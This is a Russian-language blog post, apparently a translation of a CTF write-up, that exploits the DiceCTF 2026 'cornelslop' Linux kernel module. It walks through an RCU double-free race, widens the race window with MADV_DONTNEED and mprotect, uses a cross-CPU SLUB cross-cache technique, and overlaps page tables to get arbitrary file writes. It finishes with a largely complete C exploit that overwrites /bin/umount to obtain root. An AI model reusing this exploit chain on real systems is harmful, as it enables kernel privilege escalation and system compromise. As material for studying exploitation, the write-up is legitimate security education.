Skip to content

GlobThe.Top

  • Windows Persistence 2026 — Полный гайд: все техники закрепления с кодом Windows Persistence
  • CVE-2026-21509: APT28 — от фишинга до SYSTEM за 48 часов CVE
  • Обход AMSI и ETW в 2026 — патчинг в памяти, unhooking, custom CLR hosting Evasion
  • Внутри WMI: Трассировка Windows Management от потребителей до COM-провайдеров Windows Internals
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM Privesc
  • Обход Code Integrity: Использование BYOVD для получения примитивов чтения/записи ядра Windows Kernel
  • Обфускация кода C/WinAPI: от основ до продвинутых техник Обход EDR
  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций Reverse Engineering

От RCU Double Free до Root: Эксплуатация гонки ядра Linux в cornelslop

Posted on 1 апреля, 2026 By AkaTor
Download PDF

Категория: Linux Kernel Exploitation / CTF
Уровень: Advanced
Оригинал: core-jmp.org by ptr-yudai
Компонент: Linux Kernel — SLUB allocator, RCU, Page Tables
Перевод: Aka Tor
Дата: Март 2026


Введение

Статья представляет детальный write-up челленджа «cornelslop» по эксплуатации ядра Linux с DiceCTF 2026. Объясняется как race condition в модуле ядра приводит к уязвимости double free через RCU callbacks. Модуль управляет записями в XArray и предоставляет несколько IOCTL операций для добавления, проверки и удаления объектов.

Уязвимость возникает потому что два пути кода (CHECK_ENTRY и DEL_ENTRY) могут оба запланировать один и тот же объект на уничтожение через call_rcu() без проверки был ли он уже удалён, создавая race condition приводящий к double free.

TL;DR — три наиболее интересные части цепочки эксплойта:

  • Расширение окна гонки с помощью MADV_DONTNEED плюс конкурентный цикл mprotect
  • Принудительная cross-cache атака даже при ограничении MAX_ENTRIES = 128 через разделение аллокации и kfree между CPU
  • Наложение двух разных типов PTE-backed маппингов — анонимного и file-backed — для превращения page-table UAF в произвольную запись в файл

1. Анализ уязвимости

cornelslop — челлендж по pwn ядра Linux на x86-64. Флаг находится в /root/flag.txt, цель — повышение привилегий.

1.1 Обзор челленджа

Модуль предоставляет три ioctl:

  • ADD_ENTRY (0xcafebabe)
  • DEL_ENTRY (0xdeadbabe)
  • CHECK_ENTRY (0xbeefbabe)

ADD_ENTRY записывает SHA256 дайджест контролируемого пользователем диапазона виртуальных адресов. Записи хранятся в XArray, максимальное количество живых записей ограничено 128.

Каждая запись представлена структурой:

struct cornelslop_entry {
    uint32_t id;
    uint64_t va_start;
    uint64_t va_end;
    uint8_t shash[SHA256_DIGEST_SIZE];
    struct rcu_head rcu;
};

Объект создаётся из выделенного SLUB кэша:

cornelslop_entry_cachep = KMEM_CACHE(cornelslop_entry,
    SLAB_PANIC | SLAB_ACCOUNT | SLAB_NO_MERGE);

Это важно для эксплуатации: кэш не сливается с обычными kmalloc кэшами, раскладка объекта фиксирована. На x86-64 структура занимает 72 байта, одна 4KB slab-страница вмещает 56 объектов.

1.2 DEL_ENTRY

static int delete_entry(struct cornelslop_user_entry *ue)
{
    struct cornelslop_entry *e;
    e = xa_erase(&cornelslop_xa, ue->id);
    if (!e)
        return -ENOENT;
    destruct_entry(e);
    pr_info("Deleting %u from context window\n", ue->id);
    return 0;
}

1.3 CHECK_ENTRY

static int check_entry(struct cornelslop_user_entry *ue)
{
    uint8_t shash[SHA256_DIGEST_SIZE];
    struct cornelslop_entry *e;
    int ret = 0;
    e = xa_load(&cornelslop_xa, ue->id);
    if (!e)
        return -ENOENT;
    ret = sha256_va_range(e->va_start, e->va_end, shash);
    if (ret)
        goto finish;
    ue->corrupted = memcmp(e->shash, shash, SHA256_DIGEST_SIZE);
    if (ue->corrupted) {
        xa_erase(&cornelslop_xa, ue->id);
        destruct_entry(e);
    }
finish:
    return ret;
}

1.4 Корневая причина

Обе функции delete_entry() и check_entry() вызывают destruct_entry():

static void destruct_entry_rcu(struct rcu_head *rcu)
{
    struct cornelslop_entry *e = container_of(rcu, struct cornelslop_entry, rcu);
    free_id(e->id);
    kfree(e);
}
static inline void destruct_entry(struct cornelslop_entry *e)
{
    call_rcu(&e->rcu, destruct_entry_rcu);
}

Баг: check_entry() никогда не проверяет удалил ли уже xa_erase() объект. Если CHECK_ENTRY всё ещё хэширует пользовательскую память пока конкурирующий DEL_ENTRY удаляет ту же запись, оба пути могут поставить в очередь один и тот же rcu_head:

// Путь CHECK
e = xa_load(&cornelslop_xa, ue->id);
ret = sha256_va_range(...);            // долгая операция
if (ue->corrupted) {
    xa_erase(&cornelslop_xa, ue->id);  // может быть уже удалён
    destruct_entry(e);                 // call_rcu
}
// Путь DEL
e = xa_erase(&cornelslop_xa, ue->id);
if (!e) return -ENOENT;
destruct_entry(e);                     // call_rcu

Концептуально это двойной call_rcu() на одном rcu_head, что позже становится double free.

Race condition diagram showing CHECK and DEL execution paths


2. Воспроизведение бага

Минимальный воспроизводитель:

int id;
pthread_barrier_t stop;
void* race(void* _arg) {
  // DEL_ENTRY
  pthread_barrier_wait(&stop);
  usleep(500); // Всегда вызываем check первым
  puts("[+] Calling DEL_ENTRY...");
  do_del(id);
  puts("[+] DEL_ENTRY done!");
  return NULL;
}
int main(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  fd = open("/dev/cornelslop",O_RDONLY);
  assert (fd != -1);
  void *p = mmap(NULL, 0x10000000, PROT_READ|PROT_WRITE,
                 MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0);
  assert (p != MAP_FAILED);
  do_add(p, 0x10000000, &id);
  printf("[+] ADD_ENTRY: id=%d\n", id);
  pthread_t th;
  pthread_barrier_init(&stop, NULL, 2);
  pthread_create(&th, NULL, race, NULL);
  *(char*)p = 'x';
  pthread_barrier_wait(&stop);
  puts("[+] Calling CHECK_ENTRY...");
  do_check(id, NULL);
  puts("[+] CHECK_ENTRY done!");
  getchar();
  return 0;
}

Kernel crash screenshot

Запуск этого крашит ядро, но краш ещё не является используемым double free — RCU обнуляет func перед вызовом, и второй callback видит func == NULL.


3. Разработка эксплойта

3.1 Превращение бага в реальный Double Free

Timeline diagram showing RCU callback execution phases

Нужно чтобы первый callback выполнился, прошло достаточно времени, и второй call_rcu() произошёл позже. Ключ — сделать CHECK_ENTRY намного медленнее.

3.2 Расширение окна гонки

userfaultfd и FUSE были недоступны. Автор нашёл другой трюк:

void* delay(void* p) {
  pthread_barrier_wait(&stop);
  while (1) {
    mprotect(p, 0x10000000, PROT_READ);
    mprotect(p, 0x10000000, PROT_READ|PROT_WRITE);
    usleep(1);
  }
}

Механизм:

  • MADV_DONTNEED сбрасывает PTE через zap_page_range_single
  • Каждое чтение страницы во время check_entry() вызывает page fault
  • Поток mprotect() повторно захватывает mmap_write_lock и переписывает состояние VMA/PTE
  • Путь обработки fault’ов конкурирует за блокировки и может повторять попытки

Важный момент: ни MADV_DONTNEED ни mprotect() по отдельности не замедляют драматически. Замедление приходит от взаимодействия: MADV_DONTNEED делает хэш-обход fault-тяжёлым, mprotect() делает эти fault’ы дорогими. С этой комбинацией задержку второго kfree() удалось растянуть от нескольких миллисекунд до десятков секунд.

Race window extension using MADV_DONTNEED and mprotect

Насколько известно автору, эта точная комбинация не часто документируется как техника расширения окна гонки.

3.3 Наращивание количества SLUB страниц

cornelslop_entry живёт в собственном не-merged SLUB кэше. Простой UAF даёт только другой cornelslop_entry. Нужна cross-cache атака.

Почему MAX_ENTRIES = 128 выглядит плохо: objs_per_slab = 56 и cpu_partial = 120, кэш хранит ceil(120 * 2 / 56) = 5 slab’ов на CPU в partial list. С 128 аллокациями один раунд может затронуть максимум ceil(128 / 56) = 3 slab’а.

3.4 Разделение аллокации и Free между CPU

Решение — аллокация на одном CPU, освобождение на другом.

CPU allocation diagram

Если ADD_ENTRY запускается на CPU0 при пустом кэше, CPU0 создаёт новые slab-страницы для 128 объектов. Освобождение с CPU1 заставляет SLUB линковать эти страницы в partial-состояние CPU1 вместо переработки обратно в текущий slab CPU0.

Multi-CPU SLUB cache state transition

Повторение этого паттерна позволяет CPU0 продолжать создавать slab-страницы пока CPU1 накапливает их. В конечном итоге partial list CPU1 переполняется, slab’ы попадают в node partial list, и пустые slab’ы попадают в discard_slab() — возвращаясь в PCP list.

3.5 PTE Overlap

Ключевая идея — наложение:

  • PTE страницы, обеспечивающей анонимные пользовательские страницы (writable)
  • PTE страницы, обеспечивающей file-backed маппинги (read-only)

PTE overlap technique

Если file-backed маппинг read-only, но анонимный маппинг достигает той же физической PTE страницы в writable способе, то file-backed маппинг становится writable через анонимную сторону.

Это даёт практический примитив произвольной записи в файл. В CTF окружении автор выбрал перезапись /bin/umount.


4. Финальный эксплойт

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
extern char **environ;

#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index) \
   ((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) \
   + _pud_index_to_virt((unsigned long long)(pmd_index)) \
   + _pmd_index_to_virt((unsigned long long)(pte_index)) \
   + _pte_index_to_virt((unsigned long long)(page_index))))

#define ADD_ENTRY   0xcafebabe
#define DEL_ENTRY   0xdeadbabe
#define CHECK_ENTRY 0xbeefbabe

int fd;

struct cornelslop_user_entry {
  uint32_t id;
  uint64_t va_start;
  uint64_t va_end;
  uint8_t corrupted;
};

static int do_add(void *addr, size_t len, uint32_t *out_id) {
  struct cornelslop_user_entry ue = {
    .id = 0,
    .va_start = (uint64_t)(uintptr_t)addr,
    .va_end = (uint64_t)(uintptr_t)addr + len,
    .corrupted = 0,
  };
  if (ioctl(fd, ADD_ENTRY, &ue) == -1) return -1;
  *out_id = ue.id;
  return 0;
}

static int do_del(uint32_t id) {
  struct cornelslop_user_entry ue = { .id = id };
  if (ioctl(fd, DEL_ENTRY, &ue) == -1) return -1;
  return 0;
}

static int do_check(uint32_t id, int *out_corrupted) {
  struct cornelslop_user_entry ue = { .id = id };
  if (ioctl(fd, CHECK_ENTRY, &ue) == -1) return -1;
  if (out_corrupted) *out_corrupted = (ue.corrupted != 0);
  return 0;
}

static void pin(int c){
  cpu_set_t s;
  CPU_ZERO(&s);
  CPU_SET(c, &s);
  sched_setaffinity(0, sizeof(s), &s);
}

#define BIG_SIZE          (0x10000000)
#define BIG_ADDR          ((void *)0x1234dead0000ULL)
#define SM_SIZE           0x1000
#define SM_ADDR           ((void *)0xbabe0000ULL)
#define PAGE_SPARY_NUM    32
#define HELPER_PATH       "/tmp/.cornelslop-root"
#define BACKUP_PATH       "/tmp/.cornelslop-busybox"
#define TARGET_PATH       "/bin/umount"

int is_released = 0;
static void *big_buf, *sml_buf;
static uint32_t target_id = 0xffffffff;
static atomic_int check_done;
pthread_barrier_t bA;

void* th_race(void*) {
  pin(3);
  pthread_barrier_wait(&bA);
  assert (do_check(target_id, NULL) == 0);
  atomic_store_explicit(&check_done, 1, memory_order_release);
  printf("[race] do_check called on %d\n", target_id);
  sleep(1000);
}

void* th_slow(void*) {
  pin(2);
  pthread_barrier_wait(&bA);
  while (!is_released) {
    mprotect(big_buf, BIG_SIZE, PROT_READ);
    mprotect(big_buf, BIG_SIZE, PROT_READ | PROT_WRITE);
    sched_yield();
    usleep(1);
  }
  sleep(1000);
}

// ... (вспомогательные функции: copy_file, stage_helper,
//      root_shell, relink_busybox_applet) ...

int main(void) {
  setbuf(stdout, NULL);
  if (geteuid() == 0) root_shell();
  stage_helper();

  fd = open("/dev/cornelslop", O_RDONLY);
  assert(fd != -1);
  int targetfd = open(TARGET_PATH, O_RDONLY);
  assert(targetfd != -1);

  // Спрей анонимных страниц для PTE overlap
  for (size_t i = 0; i < PAGE_SPARY_NUM; i++) {
    for (size_t j = 0; j < 512; j++) {
      assert(mmap(PTI_TO_VIRT(2, 0, i, j), 0x1000,
                  PROT_READ|PROT_WRITE,
                  MAP_FIXED|MAP_ANONYMOUS|MAP_SHARED, -1, 0) != MAP_FAILED);
    }
  }
  *(char*)PTI_TO_VIRT(2, 0, 0, 0) = '0';

  // Спрей file-backed маппингов
  for (size_t i = 0; i < PAGE_SPARY_NUM; i++) {
    for (size_t j = 0; j < 512; j++) {
      assert(mmap(PTI_TO_VIRT(3, i, j, 0), 0x1000,
                  PROT_READ, MAP_FIXED|MAP_SHARED, targetfd, 0) != MAP_FAILED);
    }
  }

  // Setup big/small memory
  big_buf = mmap(BIG_ADDR, BIG_SIZE, PROT_READ|PROT_WRITE,
                 MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  memset(big_buf, 'A', BIG_SIZE);
  sml_buf = mmap(SM_ADDR, SM_SIZE*10, PROT_READ|PROT_WRITE,
                 MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  memset(sml_buf, 'S', SM_SIZE*10);

  pin(0);
  pthread_t tA, tB;
  pthread_barrier_init(&bA, NULL, 3);
  pthread_create(&tA, NULL, th_race, NULL);
  pthread_create(&tB, NULL, th_slow, NULL);

  /* Фаза 1: много add/del чтобы вытолкнуть в buddy */
  int spray[128] = { 0 };
  for (size_t j = 0; j < 8; j++) {
    if (j == 5) {
      pin(0);
      for (size_t i = 0; i < 128; i++) {
        if (i == 0x18) {
          // TARGET!
          assert(do_add(big_buf, BIG_SIZE, &spray[i]) == 0);
          ((uint8_t*)big_buf)[0] ^= 0xFF; // Tamper
          madvise(big_buf, BIG_SIZE, MADV_DONTNEED);
        } else {
          assert(do_add((void*)((size_t)sml_buf + 0x1000 * j),
                        SM_SIZE, &spray[i]) == 0);
        }
      }
      pin(1); // накопление
      for (size_t i = 0; i < 128; i++) {
        if (i == 0x18) {
          target_id = spray[i];
          pthread_barrier_wait(&bA);
          usleep(1000);
          assert(do_del(target_id) == 0);
        } else {
          assert(do_del(spray[i]) == 0);
        }
      }
    } else {
      pin(0);
      for (size_t i = 0; i < 128; i++)
        assert(do_add((void*)((size_t)sml_buf + 0x1000 * j),
                      SM_SIZE, &spray[i]) == 0);
      pin(1);
      for (size_t i = 0; i < 128; i++)
        assert(do_del(spray[i]) == 0);
    }
    usleep(50000); // Ожидание RCU
  }

  /* Спрей PTE анонимных страниц */
  pin(1);
  for (size_t i = 0; i < PAGE_SPARY_NUM; i++)
    for (size_t j = 1; j < 512; j++)
      *(char*)PTI_TO_VIRT(2, 0, i, j) = 'A';

  wait_for_check_done();

  /* Спрей PTE file-backed страниц */
  pin(3);
  for (size_t i = 0; i < PAGE_SPARY_NUM; i++)
    for (size_t j = 1; j < 512; j++)
      volatile char t = *(char*)PTI_TO_VIRT(3, i, j, 0);

  /* Поиск overlap */
  int installed = 0;
  char shebang[128];
  int shebang_len = snprintf(shebang, sizeof(shebang),
                             "#!%s\n", HELPER_PATH);

  for (size_t i = 0; i < PAGE_SPARY_NUM; i++) {
    for (size_t j = 0; j < 512; j++) {
      if (memcmp(PTI_TO_VIRT(2, 0, i, j), "\x7f""ELF", 4) == 0) {
        printf("[!] Overlap! %ld %ld\n", i, j);
        memset(PTI_TO_VIRT(2, 0, i, j), '\n', 0x1000);
        memcpy(PTI_TO_VIRT(2, 0, i, j), shebang, shebang_len);
        installed = 1;
        break;
      }
    }
    if (installed) break;
  }
  assert(installed);

  close(targetfd);
  puts("[+] Root trigger installed");
  puts("[+] Killing parent shell...");
  kill(getppid(), SIGKILL);
  usleep(200000);
  close(fd);
  _exit(0);
}

Заключение

Этот челлендж — отличное упражнение в превращении концептуально простого race бага в робастную цепочку эксплуатации. Ключевые техники:

  • Расширение окна гонки: MADV_DONTNEED + mprotect() — от миллисекунд до десятков секунд
  • Cross-cache атака: разделение alloc/free между CPU для обхода лимита 128 объектов
  • PTE overlap: наложение анонимных и file-backed маппингов для произвольной записи в файл
  • Повышение привилегий: перезапись /bin/umount shebang-скриптом вызывающим helper

Ссылки

  • core-jmp.org — оригинал
  • Автор: ptr-yudai
  • Челлендж: DiceCTF 2026 — cornelslop by FizzBuzz101
Linux Kernel Exploitation

Навигация по записям

Previous Post: Обход Code Integrity: Использование BYOVD для получения примитивов чтения/записи ядра
Next Post: CVE-2025-14325: Ломаем JIT — эксплуатация Type Confusion в SpiderMonkey

Archives

  • Апрель 2026
  • Март 2026

Categories

  • Browser Exploitation
  • CVE
  • Evasion
  • Injection
  • Lateral Movement
  • Linux Kernel Exploitation
  • Malware Analysis
  • Persistence
  • Privesc
  • Reverse Engineering
  • Uncategorized
  • Vulnerability Research
  • Windows Internals
  • Windows Kernel
  • Windows Persistence
  • Обход EDR

Recent Posts

  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM
  • Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware

Recent Comments

Нет комментариев для просмотра.
  • Process Injection 2026 — Все техники инъекции кода в Windows с примерами Injection
  • Lateral Movement 2026 — Полный гайд: техники, инструменты, код Lateral Movement
  • Windows Persistence 2026 — Полный гайд: все техники закрепления с кодом Windows Persistence
  • Скрытые баги на виду: Поиск уязвимостей внутри разделяемых библиотек Vulnerability Research
  • Обфускация кода C/WinAPI: от основ до продвинутых техник Обход EDR
  • Повышение привилегий в Windows: техники 2026 года Privesc
  • Protected Process Light (PPL) в 2026 — как Windows защищает критические процессы и как это обходят Uncategorized
  • Fileless Malware: .NET Assembly Loading из памяти Evasion

Copyright © 2026 GlobThe.Top.

Powered by PressBook News Dark theme